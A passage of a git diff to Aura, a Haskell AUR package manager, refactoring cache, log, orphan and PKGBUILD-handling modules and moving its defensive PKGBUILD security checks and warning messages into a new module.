Interactive. Gives the user a choice as to exactly what versions --- they want to downgrade to. -downgradePackages :: NonEmpty PkgName -> RIO Env () -downgradePackages pkgs = do - ss <- asks settings - let cachePath = either id id . cachePathOf $ commonConfigOf ss - reals <- liftIO $ pkgsInCache ss pkgsSet - traverse_ (report red reportBadDowngradePkgs_1) . nes $ pkgsSet S.\\ reals - unless (null reals) $ do - cache <- liftIO $ cacheContents cachePath - choices <- traverse (getDowngradeChoice cache) $ toList reals - liftIO . pacman $ "-U" : asFlag (commonConfigOf ss) <> map (T.pack . ppPath) choices - where - pkgsSet :: Set PkgName - pkgsSet = S.fromList $ NEL.toList pkgs - --- | For a given package, get a choice from the user about which version of it to --- downgrade to. -getDowngradeChoice :: Cache -> PkgName -> RIO Env PackagePath -getDowngradeChoice cache pkg = - case NEL.nonEmpty $ getChoicesFromCache cache pkg of - Nothing -> throwM . Failure $ reportBadDowngradePkgs_2 pkg - Just choices -> do - ss <- asks settings - notify ss $ getDowngradeChoice_1 pkg - liftIO $ getSelection (T.pack . ppPath) choices - -getChoicesFromCache :: Cache -> PkgName -> [PackagePath] -getChoicesFromCache (Cache cache) p = L.sort . M.elems $ M.filterWithKey (\(SimplePkg pn _) _ -> p == pn) cache - --- | Print all package filenames that match a given `Text`. -searchCache :: Text -> RIO Env () -searchCache ps = do - ss <- asks settings - matches <- liftIO $ cacheMatches ss ps - traverse_ (putTextLn . T.pack . ppPath) $ L.sort matches - --- | The destination folder must already exist for the back-up to begin. -backupCache :: FilePath -> RIO Env () -backupCache dir = do - exists <- liftIO $ doesDirectoryExist dir - if not exists - then throwM $ Failure backupCache_3 - else confirmBackup dir >>= backup dir - -confirmBackup :: FilePath -> RIO Env Cache -confirmBackup dir = do - ss <- asks settings - cache <- liftIO . cacheContents . either id id . cachePathOf $ commonConfigOf ss - notify ss $ backupCache_4 dir - notify ss $ backupCache_5 (M.size $ _cache cache) - withOkay ss backupCache_6 backupCache_7 $ pure cache - -backup :: FilePath -> Cache -> RIO Env () -backup dir (Cache cache) = do - ss <- asks settings - notify ss backupCache_8 - putTextLn "" -- So that the cursor can rise at first. - copyAndNotify dir (M.elems cache) 1 - --- | Manages the file copying and display of the real-time progress notifier. -copyAndNotify :: FilePath -> [PackagePath] -> Int -> RIO Env () -copyAndNotify _ [] _ = pure () -copyAndNotify dir (p : ps) n = do - ss <- asks settings - liftIO $ raiseCursorBy 1 - warn ss $ copyAndNotify_1 n - liftIO $ copyFile (ppPath p) dir - copyAndNotify dir ps $ n + 1 - --- | Keeps a certain number of package files in the cache according to --- a number provided by the user. The rest are deleted. -cleanCache :: Word -> RIO Env () -cleanCache toSave - | toSave == 0 = do - ss <- asks settings - warn ss cleanCache_2 - liftIO $ pacman ["-Scc"] - | otherwise = do - ss <- asks settings - let cachePath = either id id . cachePathOf $ commonConfigOf ss - -- Measuring the cache size before removal -- - beforeCache@(Cache c) <- liftIO $ cacheContents cachePath - beforeBytes <- liftIO $ cacheSize beforeCache - notify ss $ cleanCache_7 (fromIntegral $ M.size c) beforeBytes - -- Proceed with user confirmation -- - warn ss $ cleanCache_3 toSave - withOkay ss cleanCache_4 cleanCache_5 $ do - clean toSave beforeCache - afterCache <- liftIO $ cacheContents cachePath - afterBytes <- liftIO $ cacheSize afterCache - notify ss $ cleanCache_8 (beforeBytes - afterBytes) - --- | How big, in megabytes, are all the files in the cache? -cacheSize :: Cache -> IO Word -cacheSize (Cache cache) = do - bytes <- foldl' (+) 0 <$> traverse (getFileSize . ppPath) (M.elems cache) - pure . floor @Double $ fromIntegral bytes / 1_048_576 -- 1024 * 1024 - -clean :: Word -> Cache -> RIO Env () -clean toSave (Cache cache) = do - ss <- asks settings - notify ss cleanCache_6 - let !files = M.elems cache - grouped = take (fromIntegral toSave) . reverse <$> groupByName files - toRemove = files L.\\ fold grouped - liftIO $ traverse_ (removeFile . ppPath) toRemove - --- | Only package files with a version not in any PkgState will be --- removed. -cleanNotSaved :: RIO Env () -cleanNotSaved = do - ss <- asks settings - notify ss cleanNotSaved_1 - sfs <- liftIO getStateFiles - states <- fmap catMaybes . liftIO $ traverse readState sfs - let cachePath = either id id . cachePathOf $ commonConfigOf ss - (Cache cache) <- liftIO $ cacheContents cachePath - let duds = M.filterWithKey (\p _ -> any (inState p) states) cache - prop <- liftIO . optionalPrompt ss $ cleanNotSaved_2 $ M.size duds - when prop . liftIO . traverse_ (removeFile . ppPath) $ M.elems duds - --- | Typically takes the contents of the package cache as an argument. -groupByName :: [PackagePath] -> [[PackagePath]] -groupByName pkgs = L.groupBy sameBaseName $ L.sort pkgs - where sameBaseName a b = baseName a == baseName b - baseName p = spName <$> simplepkg p diff --git a/lib/Aura/Commands/L.hs b/lib/Aura/Commands/L.hs deleted file mode 100644 --- a/lib/Aura/Commands/L.hs +++ /dev/null @@ -1,78 +0,0 @@ --- | --- Module : Aura.Commands.L --- Copyright : (c) Colin Woodbury, 2012 - 2020 --- License : GPL3 --- Maintainer: Colin Woodbury --- --- Handle all @-L@ flags - those which involve the pacman log file. - -module Aura.Commands.L - ( viewLogFile - , searchLogFile - , logInfoOnPkg - ) where - -import Aura.Colour (dtot, red) -import Aura.Core (Env(..), report) -import Aura.IO -import Aura.Languages -import Aura.Settings -import Aura.Types (PkgName(..)) -import Aura.Utils -import Data.Text.Prettyprint.Doc -import RIO hiding (FilePath) -import qualified RIO.NonEmpty as NEL -import qualified RIO.Text as T -import qualified RIO.Text.Partial as T -import System.Process.Typed (proc, runProcess) - ---- - --- | The contents of the Pacman log file. -newtype Log = Log [Text] - -data LogEntry = LogEntry - { name :: PkgName - , firstInstall :: Text - , upgrades :: Word - , recent :: [Text] } - --- | Pipes the pacman log file through a @less@ session. -viewLogFile :: RIO Env () -viewLogFile = do - pth <- asks (either id id . logPathOf . commonConfigOf . settings) - void . runProcess $ proc "less" [pth] - --- | Print all lines in the log file which contain a given `Text`. -searchLogFile :: Settings -> Text -> IO () -searchLogFile ss input = do - let pth = either id id . logPathOf $ commonConfigOf ss - logFile <- T.lines . decodeUtf8Lenient <$> readFileBinary pth - traverse_ putTextLn $ searchLines input logFile - --- | The result of @-Li@. -logInfoOnPkg :: NonEmpty PkgName -> RIO Env () -logInfoOnPkg pkgs = do - ss <- asks settings - let pth = either id id . logPathOf $ commonConfigOf ss - logFile <- Log . T.lines . decodeUtf8Lenient <$> readFileBinary pth - let (bads, goods) = fmapEither (logLookup logFile) $ toList pkgs - traverse_ (report red reportNotInLog_1) $ NEL.nonEmpty bads - traverse_ (putTextLn . renderEntry ss) goods - -logLookup :: Log -> PkgName -> Either PkgName LogEntry -logLookup (Log lns) p = case matches of - [] -> Left p - (h:t) -> Right $ - LogEntry { name = p - , firstInstall = T.take 16 $ T.tail h - , upgrades = fromIntegral . length $ filter (T.isInfixOf " upgraded ") t - , recent = reverse . take 5 $ reverse t } - where matches = filter (T.isInfixOf (" " <> pnName p <> " (")) lns - -renderEntry :: Settings -> LogEntry -> Text -renderEntry ss (LogEntry (PkgName pn) fi us rs) = - dtot . colourCheck ss $ entrify ss fields entries <> hardline <> recents <> hardline - where fields = logLookUpFields $ langOf ss - entries = map pretty [ pn, fi, T.pack (show us), "" ] - recents = vsep $ map pretty rs diff --git a/lib/Aura/Commands/O.hs b/lib/Aura/Commands/O.hs deleted file mode 100644 --- a/lib/Aura/Commands/O.hs +++ /dev/null @@ -1,25 +0,0 @@ --- | --- Module : Aura.Commands.O --- Copyright : (c) Colin Woodbury, 2012 - 2020 --- License : GPL3 --- Maintainer: Colin Woodbury --- --- Handle all @-O@ flags - those which involve orphan packages. - -module Aura.Commands.O ( displayOrphans, adoptPkg ) where - -import Aura.Core (Env(..), orphans, sudo) -import Aura.IO (putTextLn) -import Aura.Pacman (pacman) -import Aura.Types -import RIO - ---- - --- | Print the result of @pacman -Qqdt@ -displayOrphans :: IO () -displayOrphans = orphans >>= traverse_ (putTextLn . pnName) - --- | Identical to @-D --asexplicit@. -adoptPkg :: NonEmpty PkgName -> RIO Env () -adoptPkg pkgs = sudo . liftIO . pacman $ ["-D", "--asexplicit"] <> asFlag pkgs diff --git a/lib/Aura/Core.hs b/lib/Aura/Core.hs --- a/lib/Aura/Core.hs +++ b/lib/Aura/Core.hs @@ -17,12 +17,15 @@ -- * User Privileges , sudo, trueRoot -- * Querying the Package Database - , foreignPackages, orphans, develPkgs + , foreignPackages, orphans + , develPkgs, isDevelPkg , Unsatisfied(..), Satisfied(..) , areSatisfied, isInstalled , checkDBLock -- * Misc. Package Handling - , removePkgs, partitionPkgs, packageBuildable + , removePkgs, partitionPkgs + -- * Content Diffing + , diff -- * IO , notify, warn, scold, report ) where @@ -31,7 +34,6 @@ import Aura.IO import Aura.Languages import Aura.Pacman -import Aura.Pkgbuild.Editing (hotEdit) import Aura.Settings import Aura.Shell import Aura.Types @@ -47,6 +49,7 @@ import qualified RIO.NonEmpty as NEL import qualified RIO.Set as S import qualified RIO.Text as T +import System.Process.Typed (proc, runProcess) --- @@ -103,10 +106,6 @@ toEither (FromAUR b) = Right b toEither (FromRepo b) = Left b --- | Package a Buildable, running the customization handler first. -packageBuildable :: Settings -> Buildable -> IO Package -packageBuildable ss b = FromAUR <$> hotEdit ss b - ----------- -- THE WORK ----------- @@ -125,7 +124,7 @@ then action else throwM $ Failure trueRoot_3 -- | A list of non-prebuilt packages installed on the system. --- `-Qm` yields a list of sorted values. +-- @-Qm@ yields a list of sorted values. foreignPackages :: IO (Set SimplePkg) foreignPackages = S.fromList . mapMaybe simplepkg' <$> pacmanLines ["-Qm"] @@ -133,12 +132,18 @@ orphans :: IO (Set PkgName) orphans = S.fromList . map PkgName <$> pacmanLines ["-Qqdt"] --- | Any package whose name is suffixed by git, hg, svn, darcs, cvs, or bzr. +-- | Any installed package whose name is suffixed by git, hg, svn, darcs, cvs, +-- or bzr. develPkgs :: IO (Set PkgName) develPkgs = S.filter isDevelPkg . S.map spName <$> foreignPackages - where isDevelPkg (PkgName pkg) = any (`T.isSuffixOf` pkg) suffixes - suffixes = ["-git", "-hg", "-svn", "-darcs", "-cvs", "-bzr"] +-- | Is a package suffixed by git, hg, svn, darcs, cvs, or bzr? +isDevelPkg :: PkgName -> Bool +isDevelPkg (PkgName pkg) = any (`T.isSuffixOf` pkg) suffixes + where + suffixes :: [Text] + suffixes = ["-git", "-hg", "-svn", "-darcs", "-cvs", "-bzr"] + -- | Returns what it was given if the package is already installed. -- Reasoning: Using raw bools can be less expressive. isInstalled :: PkgName -> IO (Maybe PkgName) @@ -176,6 +181,20 @@ checkDBLock ss = do locked <- doesFileExist lockFile when locked $ warn ss checkDBLock_1 *> B.getLine *> checkDBLock ss + +---------- +-- DIFFING +---------- + +-- | Given two filepaths, output the diff of the two files. +-- Output will be coloured unless colour is deactivated by +-- `--color never` or by detection of a non-terminal output +-- target. +diff :: MonadIO m => Settings -> FilePath -> FilePath -> m () +diff ss f1 f2 = void . runProcess . proc "diff" $ c <> ["-u", f1, f2] + where + c :: [FilePath] + c = bool ["--color"] [] $ shared ss (Colour Never) ------- -- MISC -- Too specific for `Utilities.hs` or `Aura.Utils` diff --git a/lib/Aura/Dependencies.hs b/lib/Aura/Dependencies.hs --- a/lib/Aura/Dependencies.hs +++ b/lib/Aura/Dependencies.hs @@ -1,7 +1,6 @@ -{-# LANGUAGE DeriveGeneric #-} -{-# LANGUAGE LambdaCase #-} -{-# LANGUAGE PatternSynonyms #-} -{-# LANGUAGE TupleSections #-} +{-# LANGUAGE DeriveGeneric #-} +{-# LANGUAGE LambdaCase #-} +{-# LANGUAGE TupleSections #-} -- | -- Module : Aura.Dependencies diff --git a/lib/Aura/Diff.hs b/lib/Aura/Diff.hs deleted file mode 100644 --- a/lib/Aura/Diff.hs +++ /dev/null @@ -1,25 +0,0 @@ --- | --- Module : Aura.Diff --- Copyright : (c) Colin Woodbury, 2012 - 2020 --- License : GPL3 --- Maintainer: Colin Woodbury --- --- Diffing files. - -module Aura.Diff ( diff ) where - -import Aura.Settings -import RIO -import System.Process.Typed (proc, runProcess) - ---- - --- | Given two filepaths, output the diff of the two files. --- Output will be coloured unless colour is deactivated by --- `--color never` or by detection of a non-terminal output --- target. -diff :: MonadIO m => Settings -> FilePath -> FilePath -> m () -diff ss f1 f2 = void . runProcess . proc "diff" $ c <> ["-u", f1, f2] - where - c :: [FilePath] - c = bool ["--color"] [] $ shared ss (Colour Never) diff --git a/lib/Aura/Install.hs b/lib/Aura/Install.hs --- a/lib/Aura/Install.hs +++ b/lib/Aura/Install.hs @@ -15,34 +15,29 @@ , displayPkgDeps ) where -import Aura.Build (buildPackages, installPkgFiles) +import Aura.Build import Aura.Cache (Cache(..), cacheContents) import Aura.Colour import Aura.Core import Aura.Dependencies (resolveDeps) -import Aura.Diff (diff) import Aura.IO import Aura.Languages import Aura.Packages.AUR (aurLookup) import Aura.Pacman (pacman, pacmanSuccess) -import Aura.Pkgbuild.Base import Aura.Pkgbuild.Records -import Aura.Pkgbuild.Security +import Aura.Security import Aura.Settings import Aura.Types import Aura.Utils import Control.Scheduler (Comp(..), traverseConcurrently) import Data.Text.Prettyprint.Doc import Data.Text.Prettyprint.Doc.Render.Terminal -import Language.Bash.Pretty (prettyText) -import Language.Bash.Syntax (ShellCommand) -import RIO hiding (FilePath) +import RIO import RIO.Directory (setCurrentDirectory) import qualified RIO.List as L import qualified RIO.Map as M import qualified RIO.NonEmpty as NEL import qualified RIO.Set as S -import qualified RIO.Text as T --- @@ -99,27 +94,6 @@ traverse_ (liftIO . storePkgbuilds . fold1) mbuildPkgs traverse_ buildAndInstall mbuildPkgs --- | Determine if a package's PKGBUILD might contain malicious bash code. -analysePkgbuild :: Buildable -> RIO Env () -analysePkgbuild b = do - ss <- asks settings - let f = do - yes <- liftIO $ optionalPrompt ss security_6 - when yes . throwM $ Failure security_7 - case parsedPB $ bPkgbuild b of - Nothing -> warn ss (security_1 $ bName b) *> f - Just l -> case bannedTerms l of - [] -> pure () - bts -> do - scold ss . security_5 $ bName b - liftIO $ traverse_ (displayBannedTerms ss) bts - f - -displayBannedTerms :: Settings -> (ShellCommand, BannedTerm) -> IO () -displayBannedTerms ss (stmt, b) = do - putTextLn . T.pack $ "\n " <> prettyText stmt <> "\n" - warn ss $ reportExploit b - -- | Give anything that was installed as a dependency the /Install Reason/ of -- "Installed as a dependency for another package". annotateDeps :: NonEmpty Buildable -> IO () @@ -158,9 +132,7 @@ -- | The nested `NonEmpty`s represent the package "hierarchy", namely, what can -- be built/installed before what. depsToInstall :: Repository -> NonEmpty Buildable -> RIO Env (NonEmpty (NonEmpty Package)) -depsToInstall repo bs = do - ss <- asks settings - traverse (liftIO . packageBuildable ss) bs >>= resolveDeps repo +depsToInstall repo bs = resolveDeps repo $ NEL.map FromAUR bs repoInstall :: NonEmpty Prebuilt -> RIO Env () repoInstall ps = do @@ -169,9 +141,15 @@ buildAndInstall :: NonEmpty (NonEmpty Buildable) -> RIO Env () buildAndInstall bss = do - pth <- asks (either id id . cachePathOf . commonConfigOf . settings) + ss <- asks settings + let !pth = either id id . cachePathOf $ commonConfigOf ss + !allsource = S.member AllSource . makepkgFlagsOf $ buildConfigOf ss cache <- liftIO $ cacheContents pth + when allsource $ notify ss buildPackages_2 traverse_ (f cache) bss + when allsource $ do + let !allsourcePath = fromMaybe srcPkgStore . allsourcePathOf $ buildConfigOf ss + notify ss $ buildPackages_3 allsourcePath where -- TODO There is a weird edge case (which might be impossible anyway) where -- `built` and the `traverse_` line below don't run, but `annotateDeps` is @@ -181,11 +159,17 @@ f (Cache cache) bs = do ss <- asks settings let (ps, cached) = fmapEither g $ NEL.toList bs + + -- | If we used @--force@, then take the package as-is. Otherwise, try + -- to look it up in the package cache. If we find a match, we don't + -- need to build it. + g :: Buildable -> Either Buildable PackagePath g b = case bToSP b `M.lookup` cache of Just pp | not (switch ss ForceBuilding) -> Right pp _ -> Left b + built <- traverse buildPackages $ NEL.nonEmpty ps - traverse_ installPkgFiles $ built <> NEL.nonEmpty cached + traverse_ installPkgFiles $ (built <> Just cached) >>= NEL.nonEmpty liftIO $ annotateDeps bs ------------ diff --git a/lib/Aura/Languages.hs b/lib/Aura/Languages.hs --- a/lib/Aura/Languages.hs +++ b/lib/Aura/Languages.hs @@ -1,5 +1,6 @@ -{-# LANGUAGE LambdaCase #-} -{-# LANGUAGE ViewPatterns #-} +{-# LANGUAGE LambdaCase #-} +{-# LANGUAGE TypeApplications #-} +{-# LANGUAGE ViewPatterns #-} {-# OPTIONS_HADDOCK prune #-} {-# OPTIONS_GHC -fno-warn-missing-export-lists #-} @@ -119,32 +120,33 @@ langNames = languageNames lang -- | Make some `Text` cyan. Previous wrapped things in backticks. -bt :: Text -> Doc AnsiStyle -bt cs = cyan $ pretty cs +bt :: Pretty a => a -> Doc AnsiStyle +bt = cyan . pretty whitespace :: Language -> Char whitespace Japanese = '　' -- \12288 whitespace _ = ' ' -- \32 -langFromLocale :: Text -> Language +langFromLocale :: Text -> Maybe Language langFromLocale = T.take 2 >>> \case - "ja" -> Japanese - "pl" -> Polish - "hr" -> Croatian - "sv" -> Swedish - "de" -> German - "es" -> Spanish - "pt" -> Portuguese - "fr" -> French - "ru" -> Russian - "it" -> Italian - "sr" -> Serbian - "nb" -> Norwegian - "id" -> Indonesia - "zh" -> Chinese - "eo" -> Esperanto - "nl" -> Dutch - _ -> English + "ja" -> Just Japanese + "pl" -> Just Polish + "hr" -> Just Croatian + "sv" -> Just Swedish + "de" -> Just German + "es" -> Just Spanish + "pt" -> Just Portuguese + "fr" -> Just French + "ru" -> Just Russian + "it" -> Just Italian + "sr" -> Just Serbian + "nb" -> Just Norwegian + "id" -> Just Indonesia + "zh" -> Just Chinese + "eo" -> Just Esperanto + "nl" -> Just Dutch + "en" -> Just English + _ -> Nothing ---------------------- -- Aura/Core functions @@ -183,7 +185,7 @@ _ -> "As of makepkg v4.2, building as root is no longer possible." mustBeRoot_1 :: Language -> Doc AnsiStyle -mustBeRoot_1 = let sudo = bt "sudo" in \case +mustBeRoot_1 = let sudo = bt @Text "sudo" in \case Japanese -> sudo <> "を使わないとそれができない！" Polish -> "Musisz użyć " <> sudo <> ", żeby to zrobić." Croatian -> "Morate koristiti" <> sudo <> "za ovu radnju." @@ -225,6 +227,14 @@ Dutch -> "Pakket " <> p <> " aan het bouwen..." _ -> "Building " <> p <> "..." +buildPackages_2 :: Language -> Doc AnsiStyle +buildPackages_2 = \case + _ -> "'--allsource' detected. No actual installable packages will be built." + +buildPackages_3 :: FilePath -> Language -> Doc AnsiStyle +buildPackages_3 fp = \case + _ -> "All .src.tar.gz files were built and copied to: " <> pretty fp + buildFail_5 :: Language -> Doc AnsiStyle buildFail_5 = \case Japanese -> "パッケージ作成に失敗しました。" @@ -318,6 +328,10 @@ Dutch -> "Bouwen mislukt. Wilt U de fouten zien?" _ -> "Building failed. Would you like to see the error?" +buildFail_12 :: Language -> Doc AnsiStyle +buildFail_12 = \case + _ -> "Failed to 'git pull' the latest updates." + ------------------------------ -- Aura/Dependencies functions ------------------------------ @@ -1490,6 +1504,14 @@ Dutch -> "Wilt u het PKGBUILD-bestand van " <> p <> " bewerken?" _ -> "Would you like to edit the PKGBUILD of " <> p <> "?" +hotEdit_2 :: Language -> Doc AnsiStyle +hotEdit_2 = \case + _ -> "Would you like to edit the .install file?" + +hotEdit_3 :: FilePath -> Language -> Doc AnsiStyle +hotEdit_3 fp = \case + _ -> "Would you like to edit " <> pretty fp <> "?" + ------------------------------ -- Pkgbuild Security functions ------------------------------ @@ -1562,6 +1584,22 @@ Italian -> t <+> "implica che qualcuno stava trafficando con le variabili per nascondere comandi malevoli." Dutch -> t <+> "impliceert dat iemand slim probeerde om te gaan met variabelen om schadelijke opdrachten te verbergen." _ -> t <+> "implies that someone was trying to be clever with variables to hide malicious commands." + +security_11 :: Language -> Doc AnsiStyle +security_11 = \case + _ -> "That PKGBUILD is too complex to parse - it may be obfuscating malicious code." + +security_12 :: Language -> Doc AnsiStyle +security_12 = \case + _ -> "Potential PKGBUILD vulnerabilities detected." + +security_13 :: Word -> Language -> Doc AnsiStyle +security_13 (bt -> w) = \case + _ -> "Checking" <+> w <+> "PKGBUILDs for vulnerabilities..." + +security_14 :: Language -> Doc AnsiStyle +security_14 = \case + _ -> "No vulnerabilities detected." ----------------------- -- Aura/Utils functions diff --git a/lib/Aura/MakePkg.hs b/lib/Aura/MakePkg.hs --- a/lib/Aura/MakePkg.hs +++ b/lib/Aura/MakePkg.hs @@ -35,15 +35,24 @@ -- | Given the current user name, build the package of whatever -- directory we're in. makepkg :: Settings -> User -> IO (Either Failure (NonEmpty FilePath)) -makepkg ss usr = make ss usr (proc cmd $ opts <> colour) >>= g +makepkg ss usr = make ss usr (proc cmd $ opts <> overwrite <> colour) >>= g where - (cmd, opts) = runStyle usr . map T.unpack . foldMap asFlag . makepkgFlagsOf $ buildConfigOf ss + (cmd, opts) = + runStyle usr . map T.unpack . foldMap asFlag . makepkgFlagsOf $ buildConfigOf ss + + g :: (ExitCode, LByteString, [a]) -> IO (Either Failure (NonEmpty a)) g (ExitSuccess, _, fs) = pure . note (Failure buildFail_9) $ NEL.nonEmpty fs g (ExitFailure _, se, _) = do unless (switch ss DontSuppressMakepkg) $ do showError <- optionalPrompt ss buildFail_11 when showError $ BL.putStrLn se pure . Left $ Failure buildFail_8 + + overwrite :: [String] + overwrite | switch ss ForceBuilding = ["-f"] + | otherwise = [] + + colour :: [String] colour | shared ss (Colour Never) = ["--nocolor"] | shared ss (Colour Always) = [] | isTerminal ss = [] @@ -74,7 +83,7 @@ makepkgSource usr = do void . runProcess $ proc cmd opts pwd <- getCurrentDirectory - filter (T.isSuffixOf ".src.tar.gz" . T.pack) . map (pwd ) <$> getDirectoryContents pwd + filter (T.isSuffixOf ".src.tar.gz" . T.pack) . map (pwd ) <$> listDirectory pwd where (cmd, opts) = runStyle usr ["--allsource"] -- | As of makepkg v4.2, building with `--asroot` is no longer allowed. diff --git a/lib/Aura/Packages/AUR.hs b/lib/Aura/Packages/AUR.hs --- a/lib/Aura/Packages/AUR.hs +++ b/lib/Aura/Packages/AUR.hs @@ -72,7 +72,7 @@ Nothing -> pure $ Just (S.empty, S.fromList cached) Just uncached' -> runMaybeT $ do (bads, goods) <- MaybeT $ aurLookup (managerOf ss) uncached' - pkgs <- lift . traverse (packageBuildable ss) $ toList goods + let !pkgs = map FromAUR $ S.toList goods --- Update Cache --- let m = M.fromList $ map (pname &&& id) pkgs liftIO . atomically $ modifyTVar' tv (<> m) diff --git a/lib/Aura/Pacman.hs b/lib/Aura/Pacman.hs --- a/lib/Aura/Pacman.hs +++ b/lib/Aura/Pacman.hs @@ -20,7 +20,6 @@ , getCachePath , getLogFilePath -- * Pacman Config - , Config(..), config , getPacmanConf , getIgnoredPkgs, getIgnoredGroups , groupPackages @@ -30,6 +29,7 @@ ) where import Aura.Languages +import Aura.Settings.External import Aura.Types import Data.Bifunctor (first) import Lens.Micro (_2) @@ -42,34 +42,9 @@ import qualified RIO.Set as S import qualified RIO.Text as T import System.Process.Typed -import Text.Megaparsec hiding (single) -import Text.Megaparsec.Char -import qualified Text.Megaparsec.Char.Lexer as L +import Text.Megaparsec (parse) --- - --- | The (meaningful) contents of the Pacman config file. -newtype Config = Config (Map Text [Text]) deriving (Show) - --- | Parse a `Config`, the pacman configuration file. -config :: Parsec Void Text Config -config = Config . M.fromList . rights <$> (garbage *> some (fmap Right (try pair) <|> fmap Left single) <* eof) - -single :: Parsec Void Text () -single = L.lexeme garbage . void $ manyTill letterChar newline - -pair :: Parsec Void Text (Text, [Text]) -pair = L.lexeme garbage $ do - n <- takeWhile1P Nothing (/= ' ') - space - void $ char '=' - space - rest <- T.words <$> takeWhile1P Nothing (/= '\n') - pure (n, rest) - --- | Using `[]` as block comment markers is a trick to skip conf file "section" lines. -garbage :: Parsec Void Text () -garbage = L.space space1 (L.skipLineComment "#") (L.skipBlockComment "[" "]") -- | Default location of the pacman config file: \/etc\/pacman.conf pacmanConfFile :: FilePath diff --git a/lib/Aura/Pkgbuild/Base.hs b/lib/Aura/Pkgbuild/Base.hs deleted file mode 100644 --- a/lib/Aura/Pkgbuild/Base.hs +++ /dev/null @@ -1,26 +0,0 @@ --- | --- Module : Aura.Pkgbuild.Base --- Copyright : (c) Colin Woodbury, 2012 - 2020 --- License : GPL3 --- Maintainer: Colin Woodbury - -module Aura.Pkgbuild.Base - ( -- * Paths - pkgbuildCache - , pkgbuildPath - ) where - -import Aura.Types -import RIO -import RIO.FilePath -import qualified RIO.Text as T - ---- - --- | The default location: \/var\/cache\/aura\/pkgbuilds\/ -pkgbuildCache :: FilePath -pkgbuildCache = "/var/cache/aura/pkgbuilds/" - --- | The expected path to a stored PKGBUILD, given some package name. -pkgbuildPath :: PkgName -> FilePath -pkgbuildPath (PkgName p) = pkgbuildCache T.unpack p <.> "pb" diff --git a/lib/Aura/Pkgbuild/Editing.hs b/lib/Aura/Pkgbuild/Editing.hs deleted file mode 100644 --- a/lib/Aura/Pkgbuild/Editing.hs +++ /dev/null @@ -1,49 +0,0 @@ --- | --- Module : Aura.Pkgbuild.Base --- Copyright : (c) Colin Woodbury, 2012 - 2020 --- License : GPL3 --- Maintainer: Colin Woodbury --- --- For handling the editing of PKGBUILDs. - -module Aura.Pkgbuild.Editing ( hotEdit ) where - -import Aura.IO -import Aura.Languages -import Aura.Settings -import Aura.Types -import RIO -import RIO.Directory -import System.Process.Typed (proc, runProcess) - ---- - --- | Write a PKGBUILD to the filesystem temporarily, run some effectful --- function over it, then read it back in before proceeding with --- package building. -edit :: (FilePath -> IO a) -> Buildable -> IO Buildable -edit f p = do - writeFileBinary filename . pkgbuild $ bPkgbuild p - void $ f filename - newPB <- readFileBinary filename - pure (p { bPkgbuild = Pkgbuild newPB}) - where - filename :: FilePath - filename = "PKGBUILD" - --- | Allow the user to edit the PKGBUILD if they asked to do so. -hotEdit :: Settings -> Buildable -> IO Buildable -hotEdit ss b - | not $ switch ss HotEdit = pure b - | otherwise = do - ans <- liftIO $ optionalPrompt ss (hotEdit_1 $ bName b) - bool (pure b) f ans - where - f :: IO Buildable - f = do - here <- getCurrentDirectory - tmp <- getTemporaryDirectory - setCurrentDirectory tmp - b' <- edit (runProcess . proc (editorOf ss) . (:[])) b - setCurrentDirectory here - pure b' diff --git a/lib/Aura/Pkgbuild/Records.hs b/lib/Aura/Pkgbuild/Records.hs --- a/lib/Aura/Pkgbuild/Records.hs +++ b/lib/Aura/Pkgbuild/Records.hs @@ -9,14 +9,24 @@ module Aura.Pkgbuild.Records ( hasPkgbuildStored , storePkgbuilds + , pkgbuildPath ) where -import Aura.Pkgbuild.Base -import Aura.Types -import RIO -import RIO.Directory +import Aura.Types +import RIO +import RIO.Directory +import RIO.FilePath +import qualified RIO.Text as T --- + +-- | The default location: \/var\/cache\/aura\/pkgbuilds\/ +pkgbuildCache :: FilePath +pkgbuildCache = "/var/cache/aura/pkgbuilds/" + +-- | The expected path to a stored PKGBUILD, given some package name. +pkgbuildPath :: PkgName -> FilePath +pkgbuildPath (PkgName p) = pkgbuildCache T.unpack p <.> "pb" -- | Does a given package has a PKGBUILD stored? -- This is `True` when a package has been built successfully once before. diff --git a/lib/Aura/Security.hs b/lib/Aura/Security.hs new file mode 100644 --- /dev/null +++ b/lib/Aura/Security.hs @@ -0,0 +1,43 @@ +-- | +-- Module : Aura.Security +-- Copyright : (c) Colin Woodbury, 2012 - 2020 +-- License : GPL3 +-- Maintainer: Colin Woodbury +-- +-- Code common to the analysis and display of PKGBUILD security issues. + +module Aura.Security where + +import Aura.Core +import Aura.IO +import Aura.Languages +import Aura.Pkgbuild.Security +import Aura.Settings +import Aura.Types +import Language.Bash.Pretty (prettyText) +import Language.Bash.Syntax +import RIO +import qualified RIO.Text as T + +--- + +-- | Determine if a package's PKGBUILD might contain malicious bash code. +analysePkgbuild :: Buildable -> RIO Env () +analysePkgbuild b = do + ss <- asks settings + let f = do + yes <- liftIO $ optionalPrompt ss security_6 + when yes . throwM $ Failure security_7 + case parsedPB $ bPkgbuild b of + Nothing -> warn ss (security_1 $ bName b) *> f + Just l -> case bannedTerms l of + [] -> pure () + bts -> do + scold ss . security_5 $ bName b + liftIO $ traverse_ (displayBannedTerms ss) bts + f + +displayBannedTerms :: Settings -> (ShellCommand, BannedTerm) -> IO () +displayBannedTerms ss (stmt, b) = do + putTextLn . T.pack $ "\n " <> prettyText stmt <> "\n" + warn ss $ reportExploit b diff --git a/lib/Aura/Settings.hs b/lib/Aura/Settings.hs --- a/lib/Aura/Settings.hs +++ b/lib/Aura/Settings.hs @@ -14,11 +14,13 @@ , logFuncOfL -- * Aura Configuration , BuildConfig(..), BuildSwitch(..) + , buildPathOfL, buildUserOfL, buildSwitchesOfL, allsourcePathOfL, vcsPathOfL , switch , Truncation(..) , defaultBuildDir -- * Pacman Interop , CommonConfig(..), CommonSwitch(..) + , cachePathOfL, logPathOfL , ColourMode(..) , shared -- * Makepkg Interop @@ -53,6 +55,12 @@ , logPathOf :: !(Either FilePath FilePath) , commonSwitchesOf :: !(Set CommonSwitch) } deriving (Show, Generic) +cachePathOfL :: Lens' CommonConfig (Either FilePath FilePath) +cachePathOfL f cc = (\cp -> cc { cachePathOf = cp }) <$> f (cachePathOf cc) + +logPathOfL :: Lens' CommonConfig (Either FilePath FilePath) +logPathOfL f cc = (\cp -> cc { logPathOf = cp }) <$> f (logPathOf cc) + instance Flagable CommonConfig where asFlag (CommonConfig cap cop lfp cs) = either (const []) (\p -> ["--cachedir", T.pack p]) cap @@ -84,11 +92,28 @@ -- | Settings unique to the AUR package building process. data BuildConfig = BuildConfig { makepkgFlagsOf :: !(Set Makepkg) - , buildPathOf :: !FilePath + , 